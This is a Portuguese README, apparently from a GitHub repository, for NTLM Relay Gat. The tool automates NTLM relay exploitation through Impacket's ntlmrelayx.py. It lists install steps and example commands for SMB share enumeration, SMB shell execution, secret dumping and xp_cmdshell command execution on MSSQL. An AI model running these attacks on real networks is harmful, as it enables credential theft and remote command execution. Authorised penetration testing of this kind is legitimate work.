
Automatiza a exploração de relay NTLM usando ntlmrelayx.py para enumeração de compartilhamentos SMB, execução de shell, extração de segredos e execução de comandos MSSQL via sessões multi-threaded.

O NTLM Relay Gat é uma ferramenta poderosa projetada para automatizar a exploração de relays NTLM usando ntlmrelayx.py do conjunto de ferramentas Impacket. Ao alavancar as capacidades do ntlmrelayx.py, o NTLM Relay Gat simplifica o processo de exploração de vulnerabilidades de relay NTLM, oferecendo uma variedade de funcionalidades, desde listar compartilhamentos SMB até executar comandos em bancos de dados MSSQL.
Antes de começar, certifique-se de que você atende aos seguintes requisitos:
proxychains configurado corretamente com a porta de relay SOCKS do ntlmrelayxPara instalar o NTLM Relay Gat, siga estes passos:
Certifique-se de que o Python 3.6 ou superior está instalado no seu sistema.
Clone o repositório do NTLM Relay Gat:
git clone https://github.com/ad0nis/ntlm_relay_gat.git
cd ntlm_relay_gat
pip install -r requirements.txt
O NTLM Relay Gat está agora instalado e pronto para uso.
Para usar o NTLM Relay Gat, certifique-se de que você tem sessões relayadas na saída do comando socks do ntlmrelayx.py e que o proxychains está configurado para usar o proxy do ntlmrelayx.py; depois, execute o script com as opções desejadas. Aqui estão alguns exemplos de como executar o NTLM Relay Gat:
# Listar compartilhamentos SMB disponíveis usando 10 threads
python ntlm_relay_gat.py --smb-shares -t 10
# Executar um shell via SMB
python ntlm_relay_gat.py --smb-shell --shell-path /caminho/para/shell
# Extrair segredos do alvo
python ntlm_relay_gat.py --dump-secrets
# Listar bancos de dados MSSQL disponíveis
python ntlm_relay_gat.py --mssql-dbs
# Executar um comando do sistema operacional via xp_cmdshell
python ntlm_relay_gat.py --mssql-exec --mssql-method 1 --mssql-command 'whoami'
O NTLM Relay Gat é destinado apenas para fins educacionais e de testes de penetração éticos. O uso do NTLM Relay Gat para atacar alvos sem consentimento mútuo prévio é ilegal. Os desenvolvedores do NTLM Relay Gat não assumem nenhuma responsabilidade e não são responsáveis por qualquer uso indevido ou danos causados por esta ferramenta.
Este projeto está licenciado sob a Licença MIT - consulte o arquivo LICENSE para obter detalhes.